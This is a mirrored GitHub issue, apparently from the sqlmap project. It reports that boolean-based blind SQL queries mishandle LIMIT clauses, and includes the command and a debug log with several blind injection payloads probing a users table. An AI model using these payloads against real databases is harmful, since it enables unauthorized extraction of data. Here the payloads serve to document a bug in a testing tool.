Thanks to visit codestin.com
Credit goes to github.com

Skip to content

--technique=B --sql-shell not working properly for ... LIMIT m,n #209

@stamparm

Description

@stamparm

Not working properly:
... --sql-query="SELECT id FROM users LIMIT 0, 5" -z "ign,flu,bat,tec=B"

Those limit boundaries are not properly unpacked/used:

back-end DBMS: MySQL >= 5.0.0
[13:15:04] [INFO] fetching SQL SELECT statement query output: 'SELECT id FROM users LIMIT 0, 5'
[13:15:04] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[13:15:04] [PAYLOAD] 1 AND ORD(MID((SELECT IFNULL(CAST(id AS CHAR),0x20) FROM users),1,1)) > 64
[13:15:04] [PAYLOAD] 1 AND ORD(MID((SELECT IFNULL(CAST(id AS CHAR),0x20) FROM users),1,1)) > 32
[13:15:04] [PAYLOAD] 1 AND ORD(MID((SELECT IFNULL(CAST(id AS CHAR),0x20) FROM users),1,1)) > 16
[13:15:04] [PAYLOAD] 1 AND ORD(MID((SELECT IFNULL(CAST(id AS CHAR),0x20) FROM users),1,1)) > 8
[13:15:04] [PAYLOAD] 1 AND ORD(MID((SELECT IFNULL(CAST(id AS CHAR),0x20) FROM users),1,1)) > 4
[13:15:04] [PAYLOAD] 1 AND ORD(MID((SELECT IFNULL(CAST(id AS CHAR),0x20) FROM users),1,1)) > 2
[13:15:04] [PAYLOAD] 1 AND ORD(MID((SELECT IFNULL(CAST(id AS CHAR),0x20) FROM users),1,1)) > 1
[13:15:04] [INFO] retrieved: 
[13:15:04] [DEBUG] performed 7 queries in 0 seconds
[13:15:04] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' and/or switch '--hex'
SELECT id FROM users LIMIT 0, 5:    None

Metadata

Metadata

Assignees

Type

No type

Projects

No projects

Milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions